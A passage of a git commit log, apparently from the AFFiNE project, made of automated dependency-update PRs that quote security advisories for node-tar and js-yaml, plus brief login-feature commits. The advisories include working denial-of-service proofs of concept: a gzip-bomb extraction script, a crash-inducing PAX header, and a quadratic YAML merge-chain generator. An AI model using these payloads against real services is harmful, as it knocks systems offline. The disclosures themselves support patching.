[https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5](https://redirect.github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18)
-
[https://github.com/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Decompression/parse DoS via unlimited input
[CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873) /
[GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)

<details>
<summary>More information</summary>

#### Details
##### Summary
A **Decompression/parse DoS via unlimited input** vulnerability in
`node-tar` allows an attacker to exhaust server resources (disk space
and CPU). Because the library does not enforce hard upper bounds on
total decompressed data or entry counts, a small, maliciously crafted
"Gzip Bomb" can be used to fill a server's storage and crash services.

##### Details
The `node-tar` library does not enforce a hard upper bound on archive
size or the volume of decompressed data processed during extraction.
While the `maxReadSize` option exists, it only controls internal read
chunk sizes (default 16MB) and does not limit the total cumulative bytes
written to disk.

Specifically, in `src/extract.ts`, the `Unpack` stream processes entries
as they arrive. There is no total-bytes limit, entry-count limit, or
decompression ratio guard. An attacker can provide a TAR header claiming
a massive file size (e.g., 10GB) and follow it with highly compressible
data (like zeros). `node-tar` will continue to extract and write this
data until the physical disk is exhausted, as it lacks a mechanism to
abort based on global resource consumption.

##### PoC
The following Proof of Concept demonstrates how a tiny compressed input
can be expanded into gigabytes of data on the host machine almost
instantly.

1. Create the exploit script:
```javascript
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
```

2. Run the PoC:
```bash
node poc.js
```

**Observation:** You will see the extracted size rapidly climb to 5,000
MB+ within seconds, while the actual data being "sent" through the gzip
stream is negligible.

##### Impact
This is a **Denial of Service (DoS)** vulnerability. It impacts any
application or service that uses `node-tar` to extract archives provided
by untrusted users (e.g., npm registries, CI/CD pipelines, or
file-sharing platforms). An unauthenticated attacker can send a small
payload that expands to consume all available disk space, leading to
system-wide failure and service outages.

#### Severity
- CVSS Score: 9.2 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873)
-
[https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3](https://redirect.github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.19](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.19)
-
[https://github.com/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Process crash via PAX numeric path type confusion
[CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871) /
[GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)

<details>
<summary>More information</summary>

#### Details
##### Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts
it. The PAX header parser coerces all-digit path values to JavaScript
numbers, which causes an uncaught TypeError when downstream code calls
`.split('/')` on the numeric value. Error handlers and `strict: false`
cannot intercept the crash.

##### Details

In `pax.ts` line 180, `parseKV` converts PAX values matching
`/^[0-9]+$/` to numbers via `+v`. This applies to all fields including
`path` and `linkpath`. When a PAX header sets `path` to an all-digit
string like `"12345"`, the value becomes the number `12345`.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where
`normalizeWindowsPath(entry.path).split('/')` throws a TypeError because
numbers don't have `.split()`.

The throw is synchronous during event emission and bypasses all error
handling:
- `strict: false` does not help
- `'error'` event handlers do not catch it
- `'warn'` handlers do not catch it
- The TypeError propagates through the event emitter stack as an
uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and
crash. File type entries crash earlier in Header constructor at
`this.path.slice(-1)`, but that throw is caught and emitted as a warning
only.

##### PoC

Create a tar archive with a PAX extended header containing an all-digit
path:

```
PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')
```

Extract it:
```js
const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });
```

The archive is ~2.5KB. The crash is deterministic on every attempt.

##### Impact

Denial of service. Any application or tool that extracts untrusted tar
archives crashes from a single small file. This includes npm (which uses
node-tar to extract packages), CI/CD pipelines, file upload processors,
and backup tools. The crash cannot be caught by application-level error
handling.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871)
-
[https://github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b](https://redirect.github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18)
-
[https://github.com/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>isaacs/node-tar (tar)</summary>

###
[`v7.5.19`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19)

###
[`v7.5.18`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18)

###
[`v7.5.17`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-21 13:26:52 +08:00
renovate[bot] bd3fc7c78e chore: bump up js-yaml version to v4.3.0 [SECURITY] (#15298)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`4.2.0` →
`4.3.0`](https://renovatebot.com/diffs/npm/js-yaml/4.2.0/4.3.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/js-yaml/4.3.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/js-yaml/4.2.0/4.3.0?slim=true)
|

---

### JS-YAML: Quadratic-complexity DoS in merge key handling via repeated
aliases
[CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550) /
[GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68)

<details>
<summary>More information</summary>

#### Details
##### Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in
`js-yaml` merge-key processing (`<<`) by repeating the same alias many
times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can
block a Node.js worker/event loop for seconds with a relatively small
payload (tens of KB), resulting in denial of service.

##### Details
The issue is in merge handling inside `lib/loader.js`:

- `storeMappingPair(...)` iterates every element of a merge sequence
when key tag is `tag:yaml.org,2002:merge`.
- For each element, it calls `mergeMappings(...)`.
- `mergeMappings(...)` computes `Object.keys(source)` and performs
`_hasOwnProperty.call(destination, key)` checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge,
subsequent merges are semantically no-ops, but the parser still
reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving
quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag ===
'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

##### Root cause
File:       lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag,
keyNode,
valueNode, startLine, startLineStart, startPos)
Lines:      ~359-366

    if (keyTag === 'tag:yaml.org,2002:merge') {
      if (Array.isArray(valueNode)) {
for (index = 0, quantity = valueNode.length; index < quantity; index +=
1) {
mergeMappings(state, _result, valueNode[index], overridableKeys);
        }
      } else {
        mergeMappings(state, _result, valueNode, overridableKeys);
      }
    }

When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each
element
is handed to mergeMappings() without deduplication. mergeMappings() then
does

    sourceKeys = Object.keys(source);
    for (index = 0; index < sourceKeys.length; index += 1) {
      key = sourceKeys[index];
      if (!_hasOwnProperty.call(destination, key)) {
        setProperty(destination, key, source[key]);
        overridableKeys[key] = true;
      }
    }

Every alias reference in the sequence resolves (by design) to the SAME
object
via state.anchorMap. After the first merge, every subsequent merge of
that same
reference is a pure no-op semantically, but still performs:

  * one Object.keys(source) call (O(K))
  * K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while
the final
object and all observable side effects are identical to a single merge.

YAML semantics for `<<:` are idempotent and commutative over duplicate
sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec
trade-off.

##### PoC
Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge
(<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same
key count and same JSON), confirming excess time is redundant
computation.

##### Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic
complexity).
Any service parsing untrusted YAML with js-yaml can be impacted,
including API backends, CI tools, config processors, and automation
services. An attacker can submit crafted YAML to significantly increase
CPU time and reduce availability.

##### Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings.
Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:

    if (keyTag === 'tag:yaml.org,2002:merge') {
      if (Array.isArray(valueNode)) {
        var seen = new Set();
for (index = 0, quantity = valueNode.length; index < quantity; index +=
1) {
          var src = valueNode[index];
if (seen.has(src)) continue; // idempotent; skip redundant alias
          seen.add(src);
          mergeMappings(state, _result, src, overridableKeys);
        }
      } else {
        mergeMappings(state, _result, valueNode, overridableKeys);
      }
    }

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550)
-
[https://github.com/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### js-yaml: YAML merge-key chains can force quadratic CPU consumption
[CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869) /
[GHSA-52cp-r559-cp3m](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m)

<details>
<summary>More information</summary>

#### Details
##### Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows
only linearly. The issue is triggered by a chain of mappings where each
mapping merges the previous one:

```yaml
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
```

For each new mapping, the loader has to enumerate the keys inherited
from the previous mapping. With N chained mappings, this results in
roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N)
input size.

##### PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
```

##### Patches

Fix released. The most robust protection is to limit the total number of
merged keys per parse call. This should close all past and future edge
cases with merge. The default 10K-key limit should be okay in most
cases.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869)
-
[https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7](https://redirect.github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7)
-
[https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4](https://redirect.github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4)
-
[https://github.com/nodeca/js-yaml/releases/tag/3.15.0](https://redirect.github.com/nodeca/js-yaml/releases/tag/3.15.0)
-
[https://github.com/nodeca/js-yaml/releases/tag/4.3.0](https://redirect.github.com/nodeca/js-yaml/releases/tag/4.3.0)
-
[https://github.com/advisories/GHSA-52cp-r559-cp3m](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodeca/js-yaml (js-yaml)</summary>

###
[`v4.3.0`](https://redirect.github.com/nodeca/js-yaml/compare/4.2.0...33d05b5d29a8c21360f620f7e1c1706e24522eda)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/4.2.0...4.3.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-21 13:26:30 +08:00
DarkSky abf37d3dfa feat(core): improve login flow (#15219)
#### PR Dependency Tree


* **PR #15219** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added secure, automatic auth session token refresh and request replay
for expired-token responses across Android, iOS, and Electron.
* Updated sign-in flows to manage sessions without returning tokens to
the app layer.
* Added “Devices” management UI with sign out per device and sign out
all.
  * Enabled support for both Hashcash and Turnstile captcha providers.
* **Bug Fixes**
* Improved refresh de-duplication, inflight cancellation/clear behavior,
and recovery from corrupted/invalid sessions.
* **Tests**
* Expanded auth-session, refresh/revoke, and replay coverage (Electron
unit tests, Android instrumentation tests, iOS auth date parser tests).
* **Chores**
* Removed CAPTCHA site key from build-time configuration and adjusted CI
test execution.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-12 18:11:02 +08:00
DarkSky 02b25e05d8 feat(server): support refresh token (#15218) 2026-07-12 02:39:42 +08:00